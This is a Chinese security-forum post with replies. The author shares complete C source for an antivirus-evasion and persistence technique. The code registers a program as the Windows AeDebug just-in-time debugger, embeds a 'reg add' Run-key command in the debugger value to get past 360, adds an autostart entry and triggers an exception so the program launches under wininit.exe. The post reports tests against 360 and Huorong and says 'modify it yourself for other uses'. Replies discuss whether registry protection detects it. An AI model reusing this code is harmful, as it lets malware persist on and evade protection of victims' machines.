首页
社区
课程
招聘
[原创]我洗个澡就绕过了杀软的防护
2021-4-25 20:36 18628

[原创]我洗个澡就绕过了杀软的防护

2021-4-25 20:36
18628

混篇幅长度

2021年4月23日 晴。
结束了这一天的工作,回到酒店准备洗完澡朋友朋友搓两把war3。
洗澡的过程中,蹦出了一个想法:如何优雅简洁地把自身进程变为杀软可信的进程呢?
一直想到洗完澡,突然想到:父进程如果是系统进程比如services.exe csrss.exe之类的不就好了。灵光一闪:即时调试器!如果设置了即时调试器,当程序发生异常后不就会自行启动了!!!
当即我就鸽了朋友开始新建项目。
写好的恶意程序设置为即时调试器时,然后添加自启动。
果然杀软没拦截,而且最顶级的父进程居然是wininit.exe

原理

将恶意进程设为即时调试器,随后触发异常,恶意程序运行。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<Windows.h>
#include<Winerror.h>
#include"tlhelp32.h"
#include<stdio.h>
#pragma warning(disable:4996)
int pass360 = true;
int SetAeDebug()
{
    HKEY key = { 0 };
    DWORD res = 0;
    char CurrentPath[MAX_PATH] = { 0 };
    char Shell[MAX_PATH] = { 0 };
    char* Debuger = NULL;
    GetModuleFileNameA(0, CurrentPath, MAX_PATH);
    //%ld 是为了接收触发异常的进程pid。最终命令为 CurrentPath -cmd xxx
    Debuger = CurrentPath;
    //360联网的话需要这样做
    if (pass360)
    {
        sprintf(Shell, "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v wowfk /d \"%s\" /f", CurrentPath);
        Debuger = Shell;
    }
    else
    {
        strncat(CurrentPath, " -cmd %ld", 10);
    }
    res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\", &key);
    if (!res)
    {
        res = RegSetValueExA(key, "Auto", 0, REG_SZ, (CONST BYTE*)"1", 1);
        if (!res)
        {
            res = strnlen(Debuger, MAX_PATH);
            res = RegSetValueExA(key, "Debugger", 0, REG_SZ, (CONST BYTE*)Debuger, res);
            res = res == 0;
        }
        RegCloseKey(key);
    }
    return res;
}
int SetAutoRun()
{
    HKEY key = { 0 };
    DWORD res = 0;
    char CurrentPath[MAX_PATH] = { 0 };
    GetModuleFileNameA(0, CurrentPath, MAX_PATH);
    res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
    if (!res)
    {
        strncat(CurrentPath, " -AutoRun", 9);
        res = strnlen(CurrentPath, MAX_PATH);
        res = RegSetValueExA(key, "wowfk", 0, REG_SZ, (CONST BYTE*)CurrentPath, res);
        res = res == 0;
        RegCloseKey(key);
    }
    return res;
}
int KillExceptProcess(char* strPid)
{
    int pid = 0;
    pid = atoi(strPid);
    int res = 0;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    if (hProcess)
    {
        res=TerminateProcess(hProcess, 0);
        CloseHandle(hProcess);
    }
    return res;
}
int main(int argc,char* argv[])
{
    if (argc==1 && SetAeDebug()==1)
    {
        MessageBoxA(0, "See", "Done", 0);
        _asm int 3
    }
    else if(argc==3 && !pass360)
    {
        //防止二次执行
        if (KillExceptProcess(argv[2]))
        {
            if (SetAutoRun() == 1)
            {
                MessageBoxA(0, "AddAutoRunDone", "AutoRun", 0);
            }
        }
    }
}

测试结果

360安全卫士

火绒

推卸责任和一些废话

源码仅供学习,不要用做其他用途。
其他用途请自行删删改改。

堵一下需要喂饭的坛友的嘴

时间:2021年04月26日10:51
360

火绒


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2021-4-26 10:51 被零加一编辑 ,原因:
收藏
点赞18
打赏
分享
最新回复 (38)
雪    币: 10647
活跃值: (14370)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
wmsuper 7 2021-4-25 20:38
2
0
太强了
雪    币: 1012
活跃值: (627)
能力值: ( LV9,RANK:181 )
在线值:
发帖
回帖
粉丝
FiveEyes 2021-4-25 20:39
3
0
太强了
雪    币: 2155
活跃值: (2542)
能力值: ( LV12,RANK:667 )
在线值:
发帖
回帖
粉丝
梦游枪手 2021-4-25 20:41
4
0
太强了
雪    币: 1278
活跃值: (1265)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10ngvv 2021-4-25 21:04
5
0
提供了一个思路。。
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-4-25 21:23
6
1
感谢分享,建议996的公司再自己公司内修建澡堂
雪    币: 2035
活跃值: (4925)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
零加一 3 2021-4-25 22:25
7
1
pureGavin 感谢分享,建议996的公司再自己公司内修建澡堂
您也是有资本家的潜质!!!杀手已经派了
雪    币: 2128
活跃值: (4186)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
默NJ 2021-4-25 22:29
8
0
好思路,学到了
雪    币: 11342
活跃值: (4929)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
hhkqqs 1 2021-4-26 00:07
9
0
666
雪    币: 123
活跃值: (316)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
taizhong 2021-4-26 00:18
10
0
妙啊
雪    币: 2
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
a1pha 2021-4-26 05:57
11
1
什么牌子的沐浴露和洗发膏,我觉得教程帖里不能少了这样的东西。
雪    币: 851
活跃值: (5029)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suuuuu 2021-4-26 09:01
12
0
电竞酒店吗
雪    币: 121
活跃值: (1517)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xxRea 2021-4-26 09:06
13
0
大佬牛逼
雪    币: 9934
活跃值: (2554)
能力值: ( LV6,RANK:87 )
在线值:
发帖
回帖
粉丝
Lixinist 1 2021-4-26 09:25
14
0
即时调试器。。。
不会跟源哥有关吧
雪    币: 1856
活跃值: (901)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
mi1itray.axe 1 2021-4-26 09:32
15
0
太强了
雪    币: 4456
活跃值: (3538)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
木志本柯 2021-4-26 09:42
16
0
哦太骚了这脑回路
雪    币: 6701
活跃值: (3325)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
htpidk 2021-4-26 09:47
17
0
学到了一招
雪    币: 13552
活跃值: (4878)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 2021-4-26 10:00
18
0

程序是运行了,是因为程序没有恶意行为?杀软不可能凭文件名来判断是否是恶意程序,而是根据运行过程的行为来拦截。首先你在程序中修改注册表变成即时调试器的代码就会被杀软拦截并提示;其次,如果在程序中修改或删除文件,杀软同样会拦截并提示的.

最后于 2021-4-26 10:11 被tDasm编辑 ,原因:
雪    币: 35
活跃值: (552)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
guotouck 2021-4-26 10:07
19
0

修改注册表 都提示了.

上传的附件:
雪    币: 2035
活跃值: (4925)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
零加一 3 2021-4-26 10:17
20
0
guotouck 修改注册表 都提示了.
可能我的火绒比较拉
雪    币: 364
活跃值: (498)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
沉疴 1 2021-4-26 10:24
21
0
零加一 [em_85]您也是有资本家的潜质!!!杀手已经派了
狙击手已就位,等钱到账
雪    币: 2444
活跃值: (2889)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
boursonjane 2021-4-26 10:24
22
0
记得去年可以用反向创建注册表符号链接绕过360注册表防护创建自启动
雪    币: 2035
活跃值: (4925)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
零加一 3 2021-4-26 10:30
23
0
tDasm 程序是运行了,是因为程序没有恶意行为?杀软不可能凭文件名来判断是否是恶意程序,而是根据运行过程的行为来拦截。首先你在程序中修改注册表变成即时调试器的代码就会被杀软拦截并提示;其次,如果在程序中修改或删 ...
刚刚测试360确实提示了,但是换一换就又不提示了,自行发掘。
雪    币: 364
活跃值: (498)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
沉疴 1 2021-4-26 10:49
24
0

散会了,打开“注册表防护”可拦

雪    币: 2035
活跃值: (4925)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
零加一 3 2021-4-26 10:54
25
0
沉疴 散会了,打开“注册表防护”可拦
就有啥吃啥呗
游客
登录 | 注册 方可回帖
返回